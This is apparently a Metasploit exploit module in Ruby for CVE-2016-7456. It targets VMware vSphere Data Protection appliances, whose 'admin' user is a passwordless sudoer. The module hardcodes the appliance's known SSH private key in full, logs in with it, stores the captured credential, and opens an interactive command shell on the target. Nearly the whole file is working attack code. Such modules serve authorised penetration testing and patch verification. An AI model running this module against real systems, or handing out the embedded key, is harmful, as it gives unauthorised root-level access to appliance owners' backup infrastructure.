##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'net/ssh'
require 'net/ssh/command_stream'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Auxiliary::Report
  include Msf::Auxiliary::CommandShell
  include Msf::Exploit::Remote::SSH

  def initialize(info = {})
    super(update_info(info, {
      'Name'        => 'VMware VDP Known SSH Key',
      'Description' => %q{
        VMware vSphere Data Protection appliances 5.5.x through 6.1.x contain a known ssh private key for the local user admin who is a sudoer without password.
      },
      'Platform'    => 'unix',
      'Arch'        => ARCH_CMD,
      'Privileged'  => true,
      'Targets'     => [ [ "Universal", {} ] ],
      'Payload'     =>
        {
          'Compat'  => {
            'PayloadType'    => 'cmd_interact',
            'ConnectionType' => 'find',
          },
        },
      'Author'      => ['phroxvs'],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2016-7456' ],
          [ 'URL', 'https://www.vmware.com/security/advisories/VMSA-2016-0024.html' ],
        ],
      'DisclosureDate' => "Dec 20 2016",
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
      'DefaultTarget' => 0
    }))

    register_options(
      [
        # Since we don't include Tcp, we have to register this manually
        Opt::RHOST(),
        Opt::RPORT(22)
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
        OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
      ]
    )

  end

  # helper methods that normally come from Tcp
  def rhost
    datastore['RHOST']
  end
  def rport
    datastore['RPORT']
  end

  def do_login()
    factory = Rex::Socket::SSHFactory.new(framework,self, datastore['Proxies'])
    opt_hash = {
      :auth_methods    => ['publickey'],
      :port            => rport,
      :key_data        => [ key_data ],
      :use_agent       => false,
      :config          => false,
      :proxy           => factory,
      :non_interactive => true,
      :verify_host_key => :never
    }
    opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
    begin
      ssh_socket = nil
      ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
        ssh_socket = Net::SSH.start(rhost, 'admin', opt_hash)
      end
    rescue Rex::ConnectionError
      return
    rescue Net::SSH::Disconnect, ::EOFError
      print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
      return
    rescue ::Timeout::Error
      print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
      return
    rescue Net::SSH::AuthenticationFailed
      print_error "#{rhost}:#{rport} SSH - Failed authentication"
    rescue Net::SSH::Exception => e
      print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
      return
    end

    if ssh_socket

      # Create a new session from the socket, then dump it.
      conn = Net::SSH::CommandStream.new(ssh_socket)
      self.sockets.delete(ssh_socket.transport.socket)

      return conn
    else
      return false
    end
  end

  def exploit
    conn = do_login()
    if conn
      print_good "Successful login"
        service_data = {
        address: rhost,
        port: rport,
        protocol: 'tcp',
        service_name: 'ssh',
        workspace_id: myworkspace_id,
      }
      credential_data = {
        username: 'admin',
        private_type: :ssh_key,
        private_data: key_data,
        origin_type: :service,
        module_fullname: fullname,
      }.merge(service_data)

      core = create_credential(credential_data)
      login_data = {
        core: core,
        last_attempted: Time.now,
      }.merge(service_data)

      create_credential_login(login_data)
      handler(conn.lsock)
    end
  end

  def key_data
    <<EOF
-----BEGIN RSA PRIVATE KEY-----
MIICWQIBAAKBgQCx/XgSpdlvoy1fABui75RYQFTRGPdkHBolTNIAeA91aPfnAr2X
/PuZR/DiHMCYcn6/8A5Jn75YOD3OL0mumJJR1uQ4pyhY+MSptiMYxhvDLIiRRo16
9jewWCSH/7jqWH8NhImpVxt5SjWtKhQInTdPkG1dCj8oSn87bt8fKvLcVQIBIwKB
gFuJq3dN+suzAWQOryCYeC1i6cqfICTbQKV39vjtScdajh8IuUbZ4Hq3SK7M9VW3
Od8NvjR+Ch691qSNWRf2saWS5MHiaYGF3xWwZokbJWJWmxlQ+Di9QAyRkjDIuMCR
Sj/vvCa6kWzZlSZWOyNbs38XkWoKXqVYwtnyXrINpZJTAkEA2p0ZrCKQTWBKt7aT
Rvx/8xnoYu9hSXIG1k11ql0HZdRpmveuZe64Gl6oJtgBZMXNdvAds+gvGTVCSfBO
c2ne0wJBANBt3t84oicWJpkzXnUBPOZdheKfAK6QO7weXiRmbILTJ5drPdu8pmxR
c1uQJgYitaSNKglJmz2WNOoaPZz/7zcCQBj8Au8Z5Jsg8pinJsZIvippXGMUCx5W
LKrHBiIZQqyNTeXTKd/DgsEvY6yq+NhRHsvDq5+IP+Wfr83vk+/u16MCQE1qozz3
xzMW2yL10qB8zXoivLNCX1bH26xFyzIXaiH2qE4vJZrCabM0MilSzEtr+lMP3GnZ
gs27cr1aNCRfD7UCQHOXGagsD/ijMGNcWPBQOY3foHzxozoBLGmysAmVz3vX6uyr
Y7oq9O5vDxwpMOAZ9JYTFuzEoWWg16L6SnNVYU4=
-----END RSA PRIVATE KEY-----
EOF
    end
end